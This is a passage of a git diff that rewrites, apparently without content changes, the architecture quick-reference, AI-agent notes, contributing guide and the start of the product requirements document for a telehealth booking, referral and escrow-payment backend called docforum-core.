`patientsService.resolveActingProfile`). -`DoctorProfile` β€”< `DoctorSpecialty` >β€” `Specialty` -`AvailabilitySlot` (doctor's calendar) β†’ `Appointment` (`availability_slot_id` nullable β€” a cancelled appointment releases its slot; booking safety is `claimOpenSlot`, not that column) β†’ `IntakeForm`, `Consultation` -`Consultation` (`appointmentId` **UNIQUE** β€” closing a consultation is a create-once operation, `409` on a second attempt; one writer, `consultationsService.createConsultation`, reached from `POST /consultations`, `POST /appointments/:id/consultation` and the orders flow; see docs/adr/0009) β†’ (outcome=referred) β†’ `Referral` (snapshot! required `target_doctor_id` β€” routed at creation when only a specialty is named, ADR 0008; self-FK lineage `parent_referral_id`, no-show/loop/admin flags) β†’ new `Appointment` -`Appointment` β†’ `Consultation` β†’ immutable `Prescription`(+`PrescriptionItem`) / `LabOrder`(+`LabResult`) -`FulfillmentRecord` (facility-owned) references exactly one order through real FKs (`prescription_id` XOR `lab_order_id`, enforced by a DB CHECK β€” docs/adr/0012) but doesn't mutate it; one row per order. -`User` β†’ `EmailVerificationToken` (Phase 8, issue #34 β€” hashed/expiring, single-use; `User.emailVerifiedAt` gates booking, consultation/referral mutations and payment mutations, never login/browsing). -`User` β†’ `AccessLog` (Phase 8, issue #45 β€” PHI read-access log: who viewed which clinical record, when; fire-and-forget writes, fail-open). -`LoginAttempt` (Phase 8, issue #35 β€” Postgres-backed login throttle buckets, one per normalised email and per client IP; counters move only via a conditional upsert). -`PatientProfile` β†’ `PatientExport` β†’ `PatientExportChunk` (Phase 8, issue #40 β€” right-of-access export jobs + their chunked JSON bundle; each module contributes a section via its own service, registered in `src/export-sections.ts` β€” see ARCHITECTURE.md Β§3.1). -Account deletion (Phase 8, issue #41 β€” docs/adr/0010): anonymise in place (`User.deletedAt`, `PatientProfile.anonymizedAt`), never cascade. `PatientProfile.userId` is ON DELETE RESTRICT; new patient-linked clinical tables must be RESTRICT too **and** register a retention hold in `src/retention-holds.ts`. -`FacilityProfile` β†’ `WalletLink` (payout address) ; `PatientProfile` β†’ `PatientWalletLink` (payer address, ADR 0005) ; `Prescription` or `LabOrder` β†’ exactly one typed `PaymentIntent` FK (issue #85), whose `amount` is in the smallest unit of a per-environment allowlisted `assetCode` (issue #79) - -## Payments (Phase 5.5 β€” see docs/adr/0004-custodial-payments-v1.md) -- **Custodial v1**: `docforum-core` holds its own Stellar payer + releaser identities (`PLATFORM_PAYER_SECRET`/`PLATFORM_RELEASER_SECRET` env vars). Patients never hold or sign with a wallet β€” the only reason this is possible without violating `docforum-web`'s "no direct Stellar calls" hard rule. -- `WalletLink` is scoped to the **facility** (the on-chain payee), not the patient. -- Each issued order stores its selected facility and clinician-entered total in XLM stroops; a database check requires exactly one PaymentIntent order FK. -- `release`/`refund` are admin-triggered HTTP actions in v1 (`POST /payments/intents/:id/{release,refund}`) β€” there's no `FulfillmentRecord.status == fulfilled` to trigger off of yet. Don't treat this as the final design. -- The actual Stellar contract calls go through `@docforum/escrow-sdk` (`backend/src/modules/payments/services/escrow-sdk-loader.ts` β€” dynamic `import()`, the SDK is ESM-only and this backend is CommonJS). Never reimplement contract-calling logic in this repo. The SDK used today (0.2.0) has no prepare call, so prepare returns `503 ESCROW_SDK_PREPARE_UNSUPPORTED` until the 0.3.0 prepare/submit call (docforum-escrow #58) lands. - -## Known unresolved design gaps (do not silently "fix" without flagging in PR description) -- ~~No routing rule for a referral with no specific target doctor~~ **Resolved (issue #6, `docs/adr/0008-referral-routing-without-target-doctor.md`):** a specialty-only referral is routed **at creation** to the least-loaded eligible doctor (verified, holds the specialty, not the referring doctor, account not deactivated; fewest `pending`+`accepted` referrals, ties broken by doctor id). `target_doctor_id` stays NOT NULL β€” zero eligible doctors fails the creation with `422 REFERRAL_NO_ELIGIBLE_TARGET` and writes no row. PRD Β§8.2.2's "waiting for a specialist" state is still not built (deferred on purpose: it needs a nullable target, which this ADR rejects). -- No time-based expiry/TTL job for held slots or pending referrals β€” the referral *no-show* cascade (#67) now reaches `expired`, but nothing expires a referral (or a held slot) purely by age. Issue #8 / #19. -- `AuditEvent` exists (Β§4.10 of ARCHITECTURE.md) and records booking (both booking paths), doctor verification, payment fund/release/refund, the patient's referral accept/decline and the referral admin actions β€” auth (the admin login-throttle clear), the referral's creation + cascade transitions, and the remaining Phase 4 order transitions are still unaudited. PRD Β§7 is not satisfied yet. -- `Referral.snapshotIntakeId` has no column β€” `IntakeForm` doesn't exist yet (issue #1); the notes half of the snapshot rule is real and enforced. -- ~~Polymorphic `FulfillmentRecord.order_id` is a sketch, not final β€” may need splitting into two tables~~ **Resolved (Phase 5 prerequisite, issue #13, `docs/adr/0012-fulfillment-record-typed-order-fks.md`):** one table, no polymorphism β€” `order_type`/`order_id` are replaced by real `prescription_id`/`lab_order_id` FKs (each unique, a CHECK requires exactly one) plus the `facility_id` FK, all `RESTRICT`. Splitting into two tables was considered and rejected. Consequences #14/#15 must honor: the row is created once per order by the facility-selection path, and `fulfilled` is reachable **only** through the facility's own conditional update (hard rule 5, ARCHITECTURE.md Β§5.3 step 5). -- `AuditEvent` foundation exists (Phase 8, issue #43 β€” ARCHITECTURE.md Β§4.10): append-only (DB triggers), written by `auditService.record(tx, …)` **inside the same transaction** as the change. Wired for booking (direct and referral-origin), doctor verification, payment fund/release/refund, referral accept/decline and referral admin actions (`entity_type: 'Referral'`) β€” **Phase 4 transitions must call it when they're built.** There is one audit table: referral actions go into it, not into a second one. Never put PHI in `metadata`. -- No email/SMS provider integrated yet (Phase 6, issue #17) β€” email verification (issue #34) therefore can't deliver its link on a hosted deployment; `backend/scripts/mark-email-verified.mjs` is the interim operator path. -- One doctor = one calendar assumed; multi-facility doctors not modeled. -- Non-custodial payments are only half-built: prepare exists (issue #80), submit/fee-bump does not, and the SEP-10 patient-wallet link flow that creates `PatientWalletLink` rows is not implemented. `PaymentIntent.refundAfter` uses the intent's `createdAt` as the order-expiry anchor because orders have no expiry field yet (Phase 4). -- `@docforum/escrow-sdk` 0.2.0 has no prepare call, so `/payments/intents/:id/prepare` returns `503 ESCROW_SDK_PREPARE_UNSUPPORTED` against the real SDK until docforum-escrow publishes SDK 0.3.0 (docforum-core #32 / docforum-escrow #58). Integration tests exercise the endpoint with a mocked SDK. - -## Overengineering guardrails (things NOT to build yet) -- No custom video/WebRTC. -- No ML-based doctor-matching/recommendation. -- No configurable RBAC matrix β€” 4 fixed roles only. -- No chat delivery receipts/typing indicators β€” plain message log. -- No custom scheduling recurrence engine β€” fixed-length slot generation only. -- No microservice split, no separate CI/repos per module. - -## Where things live -- Backend modules: `backend/src/modules//{routes,controllers,services,repositories}` -- Data model source of truth: `backend/prisma/schema.prisma` -- Frontend: `frontend/src/{pages,components,features,hooks,services,store,types}` -- Roadmap / status: `ROADMAP.md` β€” **must be updated on every contribution that changes scope or completes work**. - - -## Escrow event monitoring (issue #86) -- EscrowEventCursor stores one pagination cursor per contract deployment; configure each historical deployment as ESCROW_CONTRACTS=CONTRACT_ID@START_LEDGER,... -- EscrowChainEvent stores deduplicated Soroban events. The admin endpoint is GET /admin/payments/escrow-events. -- Unmatched release/refund events are high-severity alerts; RPC retention loss is surfaced as catchupError and must be reconciled explicitly. +# ARCHITECTURE_ESSENTIALS.md + +Quick-reference only. Full reasoning lives in `ARCHITECTURE.md`. Full product scope in `PRD.md`. If this file and `ARCHITECTURE.md` conflict, `ARCHITECTURE.md` wins and this file is stale β€” fix it in the same PR. + +## Stack (don't relitigate without an ADR in docs/adr/) +- Backend: Node.js + TypeScript + Express/Fastify β€” **modular monolith**, not microservices. +- DB: PostgreSQL via **Prisma 7** (`backend/prisma/schema.prisma` = source of truth for models). v7 has no Rust query engine: the client is built with a driver adapter (`@prisma/adapter-pg` + node-postgres) in `backend/src/db/prisma-client.ts` β€” bare `new PrismaClient()` throws β€” and the CLI's datasource URL lives in `backend/prisma.config.ts`, not in the schema. Keep the `prisma-client-js` generator: it still writes to `node_modules/@prisma/client`, so imports and this backend's CommonJS runtime are unchanged (see `docs/adr/0006`). Requires Node >= 20.19. +- Auth: JWT access + refresh, roles = `patient | doctor | facility | admin`. The refresh cookie is `SameSite=None` cross-site, so `/auth/refresh` + `/auth/logout` require an `X-CSRF-Token` header (a per-session token bound into the refresh JWT) and an allowlisted `Origin` β€” see `backend/src/middleware/csrf.ts`. CORS is an explicit per-environment allowlist (`CORS_ORIGINS`). +- Frontend: React + TypeScript + Vite, React Query + Zustand. +- Video/voice, SMS/email, file storage: **third-party, behind an interface** β€” never build custom. +- Jobs: keep it simple (cron/interval) until a real job exists; don't pre-install a queue. Existing interval jobs: login-throttle prune (`src/server.ts`), patient-export worker/cleanup (`src/jobs/patient-exports.ts`) and deleted-account tombstone purge (`src/jobs/account-purge.ts`), all started only from `server.ts`. +- New module holding patient data? Register a patient-export section (ARCHITECTURE.md Β§3.1) β€” right of access must stay complete. + +## Hard rules (violating these = request changes on the PR) +1. **Never mutate a `Prescription` or `LabOrder` after issuance.** Corrections = new row with `supersedes_*_id`. +2. **Availability booking must use a DB-level conditional update/transaction.** No app-level "check then write" for slot booking β€” that's the #1 predicted break (double-booking). +3. **A `Referral` snapshots intake + notes at creation time.** Never let it read live from the original `Consultation` β€” later edits must not rewrite what a specialist already saw. +4. **Cross-module access only through a module's service interface.** Never import another module's `repositories/*` directly. +5. **Facilities write to their own `FulfillmentRecord` only** β€” never directly to `Prescription.status` / `LabOrder.status`. +6. Every module = `routes/ controllers/ services/ repositories/`. Keep that shape. + +## Data model map (see ARCHITECTURE.md Β§4 for full field lists) +`User` (including `locale`, default `en`, Phase 9 #133) β†’ `PatientProfile | DoctorProfile | FacilityProfile`; `User` β†’ `AdminInvite` (Phase 8, issue #39 β€” hashed/expiring/single-use; `User.deactivatedAt` soft-deactivates an account, refusing login/refresh/access tokens without deleting anything) +`User` (guardian) β€”< `Guardianship` >β€” `PatientProfile` (dependent, `userId` null) (Phase 8, issue #42 β€” docs/adr/0011; create-only, access ends at `AGE_OF_MAJORITY_YEARS`; authorise any act-for-a-patient path through `patientsService.resolveActingProfile`). +`DoctorProfile` β€”< `DoctorSpecialty` >β€” `Specialty` +`AvailabilitySlot` (doctor's calendar) β†’ `Appointment` (`availability_slot_id` nullable β€” a cancelled appointment releases its slot; booking safety is `claimOpenSlot`, not that column) β†’ `IntakeForm`, `Consultation` +`Consultation` (`appointmentId` **UNIQUE** β€” closing a consultation is a create-once operation, `409` on a second attempt; one writer, `consultationsService.createConsultation`, reached from `POST /consultations`, `POST /appointments/:id/consultation` and the orders flow; see docs/adr/0009) β†’ (outcome=referred) β†’ `Referral` (snapshot! required `target_doctor_id` β€” routed at creation when only a specialty is named, ADR 0008; self-FK lineage `parent_referral_id`, no-show/loop/admin flags) β†’ new `Appointment` +`Appointment` β†’ `Consultation` β†’ immutable `Prescription`(+`PrescriptionItem`) / `LabOrder`(+`LabResult`) +`FulfillmentRecord` (facility-owned) references exactly one order through real FKs (`prescription_id` XOR `lab_order_id`, enforced by a DB CHECK β€” docs/adr/0012) but doesn't mutate it; one row per order. +`User` β†’ `EmailVerificationToken` (Phase 8, issue #34 β€” hashed/expiring, single-use; `User.emailVerifiedAt` gates booking, consultation/referral mutations and payment mutations, never login/browsing). +`User` β†’ `AccessLog` (Phase 8, issue #45 β€” PHI read-access log: who viewed which clinical record, when; fire-and-forget writes, fail-open). +`LoginAttempt` (Phase 8, issue #35 β€” Postgres-backed login throttle buckets, one per normalised email and per client IP; counters move only via a conditional upsert). +`PatientProfile` β†’ `PatientExport` β†’ `PatientExportChunk` (Phase 8, issue #40 β€” right-of-access export jobs + their chunked JSON bundle; each module contributes a section via its own service, registered in `src/export-sections.ts` β€” see ARCHITECTURE.md Β§3.1). +Account deletion (Phase 8, issue #41 β€” docs/adr/0010): anonymise in place (`User.deletedAt`, `PatientProfile.anonymizedAt`), never cascade. `PatientProfile.userId` is ON DELETE RESTRICT; new patient-linked clinical tables must be RESTRICT too **and** register a retention hold in `src/retention-holds.ts`. +`FacilityProfile` β†’ `WalletLink` (payout address) ; `PatientProfile` β†’ `PatientWalletLink` (payer address, ADR 0005) ; `Prescription` or `LabOrder` β†’ exactly one typed `PaymentIntent` FK (issue #85), whose `amount` is in the smallest unit of a per-environment allowlisted `assetCode` (issue #79) + +## Payments (Phase 5.5 β€” see docs/adr/0004-custodial-payments-v1.md) +- **Custodial v1**: `docforum-core` holds its own Stellar payer + releaser identities (`PLATFORM_PAYER_SECRET`/`PLATFORM_RELEASER_SECRET` env vars). Patients never hold or sign with a wallet β€” the only reason this is possible without violating `docforum-web`'s "no direct Stellar calls" hard rule. +- `WalletLink` is scoped to the **facility** (the on-chain payee), not the patient. +- Each issued order stores its selected facility and clinician-entered total in XLM stroops; a database check requires exactly one PaymentIntent order FK. +- `release`/`refund` are admin-triggered HTTP actions in v1 (`POST /payments/intents/:id/{release,refund}`) β€” there's no `FulfillmentRecord.status == fulfilled` to trigger off of yet. Don't treat this as the final design. +- The actual Stellar contract calls go through `@docforum/escrow-sdk` (`backend/src/modules/payments/services/escrow-sdk-loader.ts` β€” dynamic `import()`, the SDK is ESM-only and this backend is CommonJS). Never reimplement contract-calling logic in this repo. The SDK used today (0.2.0) has no prepare call, so prepare returns `503 ESCROW_SDK_PREPARE_UNSUPPORTED` until the 0.3.0 prepare/submit call (docforum-escrow #58) lands. + +## Known unresolved design gaps (do not silently "fix" without flagging in PR description) +- ~~No routing rule for a referral with no specific target doctor~~ **Resolved (issue #6, `docs/adr/0008-referral-routing-without-target-doctor.md`):** a specialty-only referral is routed **at creation** to the least-loaded eligible doctor (verified, holds the specialty, not the referring doctor, account not deactivated; fewest `pending`+`accepted` referrals, ties broken by doctor id). `target_doctor_id` stays NOT NULL β€” zero eligible doctors fails the creation with `422 REFERRAL_NO_ELIGIBLE_TARGET` and writes no row. PRD Β§8.2.2's "waiting for a specialist" state is still not built (deferred on purpose: it needs a nullable target, which this ADR rejects). +- No time-based expiry/TTL job for held slots or pending referrals β€” the referral *no-show* cascade (#67) now reaches `expired`, but nothing expires a referral (or a held slot) purely by age. Issue #8 / #19. +- `AuditEvent` exists (Β§4.10 of ARCHITECTURE.md) and records booking (both booking paths), doctor verification, payment fund/release/refund, the patient's referral accept/decline and the referral admin actions β€” auth (the admin login-throttle clear), the referral's creation + cascade transitions, and the remaining Phase 4 order transitions are still unaudited. PRD Β§7 is not satisfied yet. +- `Referral.snapshotIntakeId` has no column β€” `IntakeForm` doesn't exist yet (issue #1); the notes half of the snapshot rule is real and enforced. +- ~~Polymorphic `FulfillmentRecord.order_id` is a sketch, not final β€” may need splitting into two tables~~ **Resolved (Phase 5 prerequisite, issue #13, `docs/adr/0012-fulfillment-record-typed-order-fks.md`):** one table, no polymorphism β€” `order_type`/`order_id` are replaced by real `prescription_id`/`lab_order_id` FKs (each unique, a CHECK requires exactly one) plus the `facility_id` FK, all `RESTRICT`. Splitting into two tables was considered and rejected. Consequences #14/#15 must honor: the row is created once per order by the facility-selection path, and `fulfilled` is reachable **only** through the facility's own conditional update (hard rule 5, ARCHITECTURE.md Β§5.3 step 5). +- `AuditEvent` foundation exists (Phase 8, issue #43 β€” ARCHITECTURE.md Β§4.10): append-only (DB triggers), written by `auditService.record(tx, …)` **inside the same transaction** as the change. Wired for booking (direct and referral-origin), doctor verification, payment fund/release/refund, referral accept/decline and referral admin actions (`entity_type: 'Referral'`) β€” **Phase 4 transitions must call it when they're built.** There is one audit table: referral actions go into it, not into a second one. Never put PHI in `metadata`. +- No email/SMS provider integrated yet (Phase 6, issue #17) β€” email verification (issue #34) therefore can't deliver its link on a hosted deployment; `backend/scripts/mark-email-verified.mjs` is the interim operator path. +- One doctor = one calendar assumed; multi-facility doctors not modeled. +- Non-custodial payments are only half-built: prepare exists (issue #80), submit/fee-bump does not, and the SEP-10 patient-wallet link flow that creates `PatientWalletLink` rows is not implemented. `PaymentIntent.refundAfter` uses the intent's `createdAt` as the order-expiry anchor because orders have no expiry field yet (Phase 4). +- `@docforum/escrow-sdk` 0.2.0 has no prepare call, so `/payments/intents/:id/prepare` returns `503 ESCROW_SDK_PREPARE_UNSUPPORTED` against the real SDK until docforum-escrow publishes SDK 0.3.0 (docforum-core #32 / docforum-escrow #58). Integration tests exercise the endpoint with a mocked SDK. + +## Overengineering guardrails (things NOT to build yet) +- No custom video/WebRTC. +- No ML-based doctor-matching/recommendation. +- No configurable RBAC matrix β€” 4 fixed roles only. +- No chat delivery receipts/typing indicators β€” plain message log. +- No custom scheduling recurrence engine β€” fixed-length slot generation only. +- No microservice split, no separate CI/repos per module. + +## Where things live +- Backend modules: `backend/src/modules//{routes,controllers,services,repositories}` +- Data model source of truth: `backend/prisma/schema.prisma` +- Frontend: `frontend/src/{pages,components,features,hooks,services,store,types}` +- Roadmap / status: `ROADMAP.md` β€” **must be updated on every contribution that changes scope or completes work**. + + +## Escrow event monitoring (issue #86) +- EscrowEventCursor stores one pagination cursor per contract deployment; configure each historical deployment as ESCROW_CONTRACTS=CONTRACT_ID@START_LEDGER,... +- EscrowChainEvent stores deduplicated Soroban events. The admin endpoint is GET /admin/payments/escrow-events. +- Unmatched release/refund events are high-severity alerts; RPC retention loss is surfaced as catchupError and must be reconciled explicitly. diff --git a/CLAUDE.md b/CLAUDE.md index d12efb68..e8c8e5d9 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -1,31 +1,31 @@ -# CLAUDE.md - -This file is Claude-specific. All substantive project rules (module boundaries, hard architecture rules, doc-update requirements) live in **`AGENTS.md`** β€” read that first. This file only adds operating notes specific to Claude working in this repo. - -## Read order (same as AGENTS.md) -`PRD.md` β†’ `ARCHITECTURE_ESSENTIALS.md` β†’ `ROADMAP.md` (current phase) β†’ `ARCHITECTURE.md` only when a task needs the full "why." - -Don't load `ARCHITECTURE.md` in full for a small, single-module task β€” `ARCHITECTURE_ESSENTIALS.md` exists specifically so you don't have to. - -## Mandatory: update ROADMAP.md every contribution -Same rule as in AGENTS.md, stated again because it's the single most commonly skipped step: **any change that starts, completes, or blocks a roadmap-tracked item must update `ROADMAP.md` in the same turn/commit.** If you're generating a PR description, the roadmap update belongs in the same diff, not a follow-up. - -How to update it without conflicting with every other open PR: tick or edit only your own item's line, and write the changelog entry as a new file in `changelog.d/` (see `changelog.d/README.md`). Never append to the `## Changelog` section, and don't edit the top-of-file status summary or a phase's `**Status:**` line. Don't rewrite, reflow or re-wrap existing paragraphs in any shared doc; add your own lines (AGENTS.md β†’ "Shared docs"). - -## Skill usage in this repo -- Creating/editing `.docx`/`.pdf`/`.pptx`/`.xlsx` deliverables (e.g., a stakeholder-facing PRD export): use the relevant skill under `/mnt/skills/public/`. Default docs (`PRD.md`, `ARCHITECTURE.md`, etc.) stay Markdown in-repo β€” don't convert them to Word/PDF unless explicitly asked. -- When scaffolding or editing backend/frontend files, prefer `str_replace`/`view` on real files in the repo over regenerating whole files, once the repo has real content beyond scaffolding. - -## Scope discipline -This repo was deliberately scaffolded (empty/near-empty files, full folder structure) before feature work began, specifically so scope is visible up front. When implementing: -- Do not add new top-level folders without updating `ARCHITECTURE.md` Β§3 (module boundaries) or Β§2 (stack) as applicable. -- Do not fill in a module beyond what the current `ROADMAP.md` phase calls for. Building ahead of the roadmap creates review burden and violates the "small independent units" working style in AGENTS.md. - -## Hard questions discipline -`PRD.md` Β§8 and `ARCHITECTURE.md` Β§6 contain open "what would break / edge cases / overengineered" questions. When a task touches one of these areas: -1. Check whether the task resolves, worsens, or is orthogonal to a listed item. -2. If resolves: mark it resolved with a one-line note in place. -3. If worsens or reveals a new one: add it, don't skip past it silently. - -## Communication style for this repo -When summarizing work in this repo (PR descriptions, chat responses), state directly what changed, what doc was updated, and what roadmap item it maps to. Avoid vague "made improvements" summaries β€” contributors are picking up independent issues and need to trust the roadmap/docs reflect real state. +# CLAUDE.md + +This file is Claude-specific. All substantive project rules (module boundaries, hard architecture rules, doc-update requirements) live in **`AGENTS.md`** β€” read that first. This file only adds operating notes specific to Claude working in this repo. + +## Read order (same as AGENTS.md) +`PRD.md` β†’ `ARCHITECTURE_ESSENTIALS.md` β†’ `ROADMAP.md` (current phase) β†’ `ARCHITECTURE.md` only when a task needs the full "why." + +Don't load `ARCHITECTURE.md` in full for a small, single-module task β€” `ARCHITECTURE_ESSENTIALS.md` exists specifically so you don't have to. + +## Mandatory: update ROADMAP.md every contribution +Same rule as in AGENTS.md, stated again because it's the single most commonly skipped step: **any change that starts, completes, or blocks a roadmap-tracked item must update `ROADMAP.md` in the same turn/commit.** If you're generating a PR description, the roadmap update belongs in the same diff, not a follow-up. + +How to update it without conflicting with every other open PR: tick or edit only your own item's line, and write the changelog entry as a new file in `changelog.d/` (see `changelog.d/README.md`). Never append to the `## Changelog` section, and don't edit the top-of-file status summary or a phase's `**Status:**` line. Don't rewrite, reflow or re-wrap existing paragraphs in any shared doc; add your own lines (AGENTS.md β†’ "Shared docs"). + +## Skill usage in this repo +- Creating/editing `.docx`/`.pdf`/`.pptx`/`.xlsx` deliverables (e.g., a stakeholder-facing PRD export): use the relevant skill under `/mnt/skills/public/`. Default docs (`PRD.md`, `ARCHITECTURE.md`, etc.) stay Markdown in-repo β€” don't convert them to Word/PDF unless explicitly asked. +- When scaffolding or editing backend/frontend files, prefer `str_replace`/`view` on real files in the repo over regenerating whole files, once the repo has real content beyond scaffolding. + +## Scope discipline +This repo was deliberately scaffolded (empty/near-empty files, full folder structure) before feature work began, specifically so scope is visible up front. When implementing: +- Do not add new top-level folders without updating `ARCHITECTURE.md` Β§3 (module boundaries) or Β§2 (stack) as applicable. +- Do not fill in a module beyond what the current `ROADMAP.md` phase calls for. Building ahead of the roadmap creates review burden and violates the "small independent units" working style in AGENTS.md. + +## Hard questions discipline +`PRD.md` Β§8 and `ARCHITECTURE.md` Β§6 contain open "what would break / edge cases / overengineered" questions. When a task touches one of these areas: +1. Check whether the task resolves, worsens, or is orthogonal to a listed item. +2. If resolves: mark it resolved with a one-line note in place. +3. If worsens or reveals a new one: add it, don't skip past it silently. + +## Communication style for this repo +When summarizing work in this repo (PR descriptions, chat responses), state directly what changed, what doc was updated, and what roadmap item it maps to. Avoid vague "made improvements" summaries β€” contributors are picking up independent issues and need to trust the roadmap/docs reflect real state. diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 483b2ddd..ebddce59 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -1,73 +1,73 @@ -# Contributing to docforum-core - -This is the backend of a 3-repo org (`docforum-core`, `docforum-web`, -`docforum-escrow`). This guide is for humans picking up a scoped issue β€” -if you're an AI coding agent, read `AGENTS.md` instead (it has the actual -architecture rules this file doesn't repeat). - -## 1. Set up locally - -```bash -git clone https://github.com/DocForum/docforum-core.git -cd docforum-core/backend -npm install -cp .env.example .env # fill in DATABASE_URL, JWT_ACCESS_SECRET, JWT_REFRESH_SECRET -npx prisma migrate deploy -npm run dev # β†’ http://localhost:4000, GET /health to check -``` - -You need a local Postgres for `npm run dev` (see `infra/docker/`) β€” but -**not** for the test suite: `npm run test` runs unit tests with no DB at -all, and `npm run test:integration` spins up its own throwaway Postgres -via the `embedded-postgres` devDependency (a prebuilt binary β€” no Docker, -no manual setup). `npm run test:all` runs both. - -## 2. Find something to work on - -Open issues are scoped, real, and tagged with a complexity/point value -(Trivial/100, Medium/150, High/200) in the issue body β€” see the -[issue list](https://github.com/DocForum/docforum-core/issues). Each -issue states why it matters, what to do, files likely involved, edge -cases, and how it'll be reviewed. Comment on an issue to claim it before -starting, and check it's still open. - -`ROADMAP.md` shows the bigger picture: which phase an issue belongs to, -what depends on what, and what's deliberately not yet scoped (and why). - -## 3. Before you open a PR - -- Read `PRD.md` β†’ `ARCHITECTURE_ESSENTIALS.md` β†’ the relevant `ROADMAP.md` - section for the issue you're working. `ARCHITECTURE_ESSENTIALS.md` has - the hard rules (module boundaries, data-mutability rules like - append-only prescriptions) β€” violating one of these is the most common - way a PR gets sent back for changes. -- Tests are required in the same PR as the logic, not a follow-up β€” - especially for anything touching booking, referrals, or order-issuance - (see `AGENTS.md`'s testing rules). These are the correctness-critical - paths in this codebase. -- If your change starts, completes, or blocks a roadmap-tracked item, - tick or update that item's line in `ROADMAP.md` and add a changelog - entry as a new file in `changelog.d/`, in the same PR. Don't append to - the end of `ROADMAP.md`; that is what made every PR conflict. See - `changelog.d/README.md`. - A PR that finishes an issue but doesn't update the roadmap is - incomplete. -- Keep doc edits to your own lines: add rows and lines, don't rewrite - other people's paragraphs. See `AGENTS.md` β†’ "Shared docs". -- Run `npm run typecheck && npm run test:all && npm run build` locally β€” - this is exactly what CI checks. - -## 4. Opening the PR - -- Branch off `main`. -- Reference the issue you're closing (`Closes #N`). -- State in the PR description what changed, why, and which `ROADMAP.md` - item it maps to β€” not a vague "made improvements" summary. Reviewers - are trusting the roadmap/docs to reflect real state. -- CI (typecheck, unit tests, the embedded-Postgres integration test, - build) must pass before merge β€” it runs automatically on your PR. - -## Found a bug instead? - -Use the [bug report template](.github/ISSUE_TEMPLATE/bug_report.md), not -a comment on an unrelated issue β€” keeps scope and Wave points honest. +# Contributing to docforum-core + +This is the backend of a 3-repo org (`docforum-core`, `docforum-web`, +`docforum-escrow`). This guide is for humans picking up a scoped issue β€” +if you're an AI coding agent, read `AGENTS.md` instead (it has the actual +architecture rules this file doesn't repeat). + +## 1. Set up locally + +```bash +git clone https://github.com/DocForum/docforum-core.git +cd docforum-core/backend +npm install +cp .env.example .env # fill in DATABASE_URL, JWT_ACCESS_SECRET, JWT_REFRESH_SECRET +npx prisma migrate deploy +npm run dev # β†’ http://localhost:4000, GET /health to check +``` + +You need a local Postgres for `npm run dev` (see `infra/docker/`) β€” but +**not** for the test suite: `npm run test` runs unit tests with no DB at +all, and `npm run test:integration` spins up its own throwaway Postgres +via the `embedded-postgres` devDependency (a prebuilt binary β€” no Docker, +no manual setup). `npm run test:all` runs both. + +## 2. Find something to work on + +Open issues are scoped, real, and tagged with a complexity/point value +(Trivial/100, Medium/150, High/200) in the issue body β€” see the +[issue list](https://github.com/DocForum/docforum-core/issues). Each +issue states why it matters, what to do, files likely involved, edge +cases, and how it'll be reviewed. Comment on an issue to claim it before +starting, and check it's still open. + +`ROADMAP.md` shows the bigger picture: which phase an issue belongs to, +what depends on what, and what's deliberately not yet scoped (and why). + +## 3. Before you open a PR + +- Read `PRD.md` β†’ `ARCHITECTURE_ESSENTIALS.md` β†’ the relevant `ROADMAP.md` + section for the issue you're working. `ARCHITECTURE_ESSENTIALS.md` has + the hard rules (module boundaries, data-mutability rules like + append-only prescriptions) β€” violating one of these is the most common + way a PR gets sent back for changes. +- Tests are required in the same PR as the logic, not a follow-up β€” + especially for anything touching booking, referrals, or order-issuance + (see `AGENTS.md`'s testing rules). These are the correctness-critical + paths in this codebase. +- If your change starts, completes, or blocks a roadmap-tracked item, + tick or update that item's line in `ROADMAP.md` and add a changelog + entry as a new file in `changelog.d/`, in the same PR. Don't append to + the end of `ROADMAP.md`; that is what made every PR conflict. See + `changelog.d/README.md`. + A PR that finishes an issue but doesn't update the roadmap is + incomplete. +- Keep doc edits to your own lines: add rows and lines, don't rewrite + other people's paragraphs. See `AGENTS.md` β†’ "Shared docs". +- Run `npm run typecheck && npm run test:all && npm run build` locally β€” + this is exactly what CI checks. + +## 4. Opening the PR + +- Branch off `main`. +- Reference the issue you're closing (`Closes #N`). +- State in the PR description what changed, why, and which `ROADMAP.md` + item it maps to β€” not a vague "made improvements" summary. Reviewers + are trusting the roadmap/docs to reflect real state. +- CI (typecheck, unit tests, the embedded-Postgres integration test, + build) must pass before merge β€” it runs automatically on your PR. + +## Found a bug instead? + +Use the [bug report template](.github/ISSUE_TEMPLATE/bug_report.md), not +a comment on an unrelated issue β€” keeps scope and Wave points honest. diff --git a/PRD.md b/PRD.md index 7b4e905f..d86c4474 100644 --- a/PRD.md +++ b/PRD.md @@ -1,144 +1,144 @@ -# PRD.md β€” DocForum - -Status: Draft v0.1 -Owner: (unassigned) -Last updated: 2026-09-09 - -> **Contribution rule:** Any PR that changes scope, models, or phases must update this file (or ROADMAP.md if it's execution-only) in the same PR. See AGENTS.md / CLAUDE.md. - ---- - -## 1. Problem - -Patients in hospital settings waste significant time physically waiting: to see a doctor, to discover the doctor they see isn't the right specialist, to get re-referred, and to chase lab/pharmacy results across disconnected systems. There is no single flow that takes a patient from "I have a symptom" to "I have a diagnosis, prescription, and lab results" without repeated in-person queuing at each step. - -## 2. Product summary - -DocForum is a web/app platform where a patient can: - -1. Create an account and log in. -2. Search for doctors by availability and (eventually) specialty/symptom. -3. Book a slot and describe their issue in a structured intake form before the visit. -4. Consult with the doctor (in-app messaging/video, or in-person booking β€” see Open Questions). -5. If the doctor determines the issue is outside their specialty, the doctor refers the patient in-app to a qualified specialist β€” the patient does not restart the process from scratch. -6. The specialist consults and can issue a prescription and/or a lab test order. -7. The patient takes that order to a qualified/partnered lab or pharmacy, which fulfills it and reports back into the system. - -The core value proposition: **collapse a multi-visit, multi-queue hospital journey into one continuous digital thread**, with referrals and orders following the patient instead of the patient re-explaining themselves at every desk. - -## 3. Who it's for (personas) - -| Persona | Need | -|---|---| -| **Patient** | Wants to be seen quickly, avoid re-explaining their issue, avoid guessing which specialist to book, and track prescriptions/lab orders in one place. | -| **General/first-contact Doctor** | Needs to triage quickly, refer confidently, and hand off patient context without a phone call or paper note. | -| **Specialist Doctor** | Needs to receive referrals with full context (original complaint + referring doctor's notes), consult, and issue orders. | -| **Lab Technician / Pharmacist** | Needs to receive verified, unambiguous orders tied to a real prescribing doctor and patient, fulfill them, and report results back. | -| **Hospital/Clinic Admin** (implied, not yet a primary persona) | Needs to manage which doctors/labs/pharmacies are on the platform and their availability. | - -**Out of scope for v1 personas:** insurance/billing 